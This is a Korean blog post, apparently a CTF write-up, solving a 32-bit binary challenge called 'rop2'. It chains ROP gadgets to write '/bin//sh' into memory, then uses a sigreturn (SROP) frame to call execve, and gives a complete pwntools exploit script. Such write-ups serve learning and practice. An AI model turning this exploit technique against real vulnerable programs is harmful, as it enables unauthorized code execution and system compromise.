rop+srop-rop2
ROP2문제는 작년에도 풀었다.
작년에는 가젯을 이용해서 got에 담긴 실제함수값의 주소를 바꿨다면, 이번에는 SROP를 이용했다.
gadget2와 gadget1을 이용해서 bss영역에 /bin/sh 를 박아줄 수 있다.
bss영역은 처음부터 null로 채워져 있으니까, add에다가 (0x6e69622f)와 (0x68732f2f)을 해줘서 /bin//sh를 만들어줄 수 있다.
그 다음, eax에 119를 넣어줘서->sigreturn
sigreturn이 실행될 때, 스택에 있는 값들이 레지스터에 pop되는데,
여기서 eax는 11이 되도록, eip는 int 80이 되도록, 그리고, CS와 SS를 맞춰줘야 한다.
CS와 SS에 값 때문에 계속 Segmentation Fault가 떴다.
64비트에서 돌릴 때, CS에는 0x23, SS에는 0x2b가 들어가야 하고
32비트에서 돌릴 때, CS에는 0x73, SS에는 0x7b가 들어가야 한다!!!
from pwn import *
s=process('./rop2')
binsh="/bin/sh"
pebxr=0x080482ad #pop ebx; ret;
sh=0x0804ae00 #data
gadget1=0x080483db #add [ebx], eax; ret;
gadget2=0x080483de #mov eax, ebx; ret;
int80=0x080483ff #int 80
#raw_input()
payload=""
payload+='a'*260
payload+=p32(pebxr)
payload+=p32(0x6e69622f)
payload+=p32(gadget2)
payload+=p32(pebxr)
payload+=p32(sh)
payload+=p32(gadget1)
payload+=p32(pebxr)
payload+=p32(0x68732f2f)
payload+=p32(gadget2)
payload+=p32(pebxr)
payload+=p32(sh+4)
payload+=p32(gadget1)
#raw_input()
payload+=p32(pebxr)
payload+=p32(119)
payload+=p32(gadget2)
payload+=p32(int80)
payload+=p32(0) #GS
payload+=p32(0) #FS
payload+=p32(0) #ES
payload+=p32(0) #DS
payload+=p32(0) #EDI
payload+=p32(0) #ESI
payload+=p32(0) #EBP
payload+=p32(0) #ESP
payload+=p32(sh) #EBX
payload+=p32(0) #EDX
payload+=p32(0) #ECX
payload+=p32(11) #EAX
payload+=p32(0) #trapno
payload+=p32(0) #err
payload+=p32(int80) #EIP
payload+=p32(0x23) #CS
payload+=p32(0) #eflags
payload+=p32(0) #esp_at_signal
payload+=p32(0x2b) #SS
payload+=p32(0)
s.send(payload+'\n')
s.interactive()
s.close()
'시스템 해킹 > cykor' 카테고리의 다른 글
scv-64비트, C++, ROP, 카나리릭, libc릭 (0) | 2018.01.06 |
---|---|
enjoy_rop-ROP+SROP (0) | 2018.01.06 |
rop1-ROP+SROP (0) | 2018.01.02 |
2015410212-64비트 쉘코드, 간단한 xor (0) | 2018.01.02 |
rain_dROP-카나리 릭, 메모리 릭 (0) | 2018.01.02 |